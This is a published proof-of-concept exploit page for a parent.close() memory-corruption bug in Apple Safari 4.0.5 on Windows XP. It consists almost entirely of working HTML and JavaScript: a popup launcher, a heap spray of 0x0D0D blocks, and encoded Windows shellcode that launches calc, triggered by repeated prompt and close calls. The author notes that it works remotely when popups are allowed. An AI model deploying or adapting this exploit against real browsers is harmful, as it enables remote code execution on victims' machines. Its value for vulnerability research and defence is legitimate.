Apple Safari 4.0.5 parent.close() Code Execution

`<!--  
Apple Safari 4.0.5 parent.close() (memory corruption) 0day Code Execution Exploit  
Bug discovered by Krystian Kloskowski (h07) <[email protected]>  
Tested on: Apple Safari 4.0.5 / XP SP2 Polish  
Shellcode: Windows Execute Command (calc)  
Local: Yes  
Remote: Yes (POPUP must be enabled [Ctrl+Shift+K])  
Just for fun ;)  
-->  
  
<!---------------------------------REMOTE.htm---------------------------------  
<script>  
window.open("0day.htm"); //parent.close() activation  
self.close();  
</script>  
-----------------------------------REMOTE.htm-------------------------------->  
  
<!---------------------------------0day.htm---------------------------------->  
<h1>Alt + F4 :)</h1>  
  
<script>  
function make_buf(payload, len) {  
while(payload.length < (len * 2)) payload += payload;  
payload = payload.substring(0, len);  
return payload;  
}  
  
var shellcode = unescape("%u9090%u9090"+ //Windows Execute Command (calc)  
"%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b"+  
"%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca"+  
"%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b"+  
"%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%uc031%u8b64%u3040"+  
"%uc085%u0c78%u408b%u8b0c%u1c70%u8bad%u0868%u09eb%u808b%u00b0"+  
"%u0000%u688b%u5f3c%uf631%u5660%uf889%uc083%u507b%uf068%u048a"+  
"%u685f%ufe98%u0e8a%uff57%u63e7%u6c61%u0063");  
  
  
bigblock = unescape("%u0D0D%u0D0D");  
headersize = 20;  
slackspace = headersize+shellcode.length  
while (bigblock.length<slackspace) bigblock+=bigblock;  
fillblock = bigblock.substring(0, slackspace);  
block = bigblock.substring(0, bigblock.length-slackspace);  
while(block.length+slackspace<0x40000) block = block+block+fillblock;  
memory = new Array();  
for (i=0;i<1000;i++) memory[i] = block + shellcode;  
  
var a = parent;  
var buf = make_buf("AAAA", 10000);  
  
for(var i = 0; i <= 1; i++) {  
a.prompt(alert);  
a.prompt(buf);  
a.close();  
}  
</script>  
<!---------------------------------0day.htm---------------------------------->  
  
`